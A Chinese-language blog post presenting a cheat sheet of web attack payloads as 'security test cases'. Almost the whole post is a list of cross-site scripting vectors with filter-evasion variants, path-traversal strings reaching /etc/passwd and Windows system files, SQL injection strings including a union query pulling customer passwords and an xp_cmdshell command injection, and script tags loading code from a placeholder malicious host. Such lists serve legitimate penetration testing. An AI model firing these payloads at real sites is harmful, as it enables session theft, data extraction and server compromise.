xss 安全测试

pthill

浏览: 402055 次
性别:
来自: 长春

最近访客更多访客>>

凌语星

lindow

u012363178

anonyjack

博主相关

博客

微博

相册

留言

关于我

文章分类

社区版块

存档分类

博客分类：

JavaScript CSS Windows XP VBScript

测试用例：还是挺管用的，真的能发现潜在的bug

<script>alert(document.cookie)</script>
　　='><script>alert(document.cookie)</script>
　　<script>alert(document.cookie)</script>
　　<script>alert(vulnerable)</script>
　　%3Cscript%3Ealert('XSS')%3C/script%3E
　　<script>alert('XSS')</script>
　　<img src="javascript:alert('XSS')">
　　%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
　　%22%3cscript%3ealert(%22x ss%22)%3c/script%3e
　　%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
　　%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
　　%3c/a%3e%3cscript%3ealert(%22x ss%22)%3c/script%3e
　　%3c/title%3e%3cscript%3ealert(%22x ss%22)%3c/script%3e
　　%3cscript%3ealert(%22x ss%22)%3c/script%3e/index.html
　　<script>alert('Vulnerable');</script>
　　<script>alert('Vulnerable')</script>
　　?sql_debug=1
　　a%5c.aspx
　　a.jsp/<script>alert('Vulnerable')</script>
　　a?<script>alert('Vulnerable')</script>
　　"><script>alert('Vulnerable')</script>
　　';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
　　%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
　　%3Cscript%3Ealert(document. domain);%3C/script%3E&
　　 %3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
　　../../../../../../../../etc/passwd
　　..\..\..\..\..\..\..\..\windows\system.ini
　　\..\..\..\..\..\..\..\..\windows\system.ini
　　'';!--"<XSS>=&{()}
　　<IMG SRC="javascript:alert('XSS');">
　　<IMG SRC=javascript:alert('XSS')>
　　<IMG SRC=JaVaScRiPt:alert('XSS')>
　　<IMG SRC=JaVaScRiPt:alert("XSS")>
　　<IMG SRC=javascript:alert('XSS')>
　　<IMG SRC=javascript:alert('XSS')>
　　<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
　　<IMG SRC="javascript:alert('XSS');">
　　"<IMG SRC=java\0script:alert(\"XSS\")>";' > out
　　<IMG SRC=" javascript:alert('XSS');">
　　<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
　　<BODY BACKGROUND="javascript:alert('XSS')">
　　<BODY ONLOAD=alert('XSS')>
　　<IMG DYNSRC="javascript:alert('XSS')">
　　<IMG LOWSRC="javascript:alert('XSS')">
　　<BGSOUND SRC="javascript:alert('XSS');">
　　<br size="&{alert('XSS')}">
　　<LAYER SRC="http://惡意網址/a.js"></layer>
　　<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
　　<IMG SRC='vbscript:msgbox("XSS")'>
　　<IMG SRC="mocha:[code]">
　　<IMG SRC="livescript:[code]">
　　<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
　　<IFRAME SRC=javascript:alert('XSS')></IFRAME>
　　<FRAMESET><FRAME SRC=javascript:alert('XSS')></FRAME></FRAMESET>
　　<TABLE BACKGROUND="javascript:alert('XSS')">
　　<DIV STYLE="background-image: url(javascript:alert('XSS'))">
　　<DIV STYLE="behaviour: url('http://惡意網址/exploit.html');">
　　<DIV STYLE="width: expression(alert('XSS'));">
　　<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
　　<IMG STYLE='x ss:expre\ssion(alert("XSS"))'>
　　<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
　　<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
　　<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
　　<BASE HREF="javascript:alert('XSS');//">
　　getURL("javascript:alert('XSS')")
　　a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
　　<XML SRC="javascript:alert('XSS');">
　　"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
　　<SCRIPT SRC="http://惡意網址/x ss.jpg"></SCRIPT>
　　<IMG SRC="javascript:alert('XSS')"
　　
　　<IMG SRC="http://惡意網址/somecommand.php?somevariables=maliciouscode">
　　<SCRIPT a=">" SRC="http://惡意網址/a.js"></SCRIPT>
　　<SCRIPT =">" SRC="http://惡意網址/a.js"></SCRIPT>
　　<SCRIPT a=">" '' SRC="http://惡意網址/a.js"></SCRIPT>
　　<SCRIPT "a='>'" SRC="http://惡意網址/a.js"></SCRIPT>
　　<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://惡意網址/a.js"></SCRIPT>
　　<A HREF=http://惡意網址/>link</A>
　　admin'--
　　' or 0=0 --
　　" or 0=0 --
　　or 0=0 --
　　' or 0=0 #
　　" or 0=0 #
　　or 0=0 #
　　' or 'x'='x
　　" or "x"="x
　　') or ('x'='x
　　' or 1=1--
　　" or 1=1--
　　or 1=1--
　　' or a=a--
　　" or "a"="a
　　') or ('a'='a
　　") or ("a"="a
　　hi" or "a"="a
　　hi" or 1=1 --
　　hi' or 1=1 --
　　hi' or 'a'='a
　　hi') or ('a'='a
　　hi") or ("a"="aXSS測試語法><script>alert(document.cookie)</script>

分享到：

x5s 发布-自动化的XSS安全性辅助测试工具 | 用javascript与java进行RSA加密与解密

2010-07-19 14:07
浏览 944
评论(0)
分类:Web前端
查看更多

发表评论

您还没有登录,请您登录后再发表评论

最近访客更多访客>>

博主相关

文章分类

社区版块

存档分类

最新评论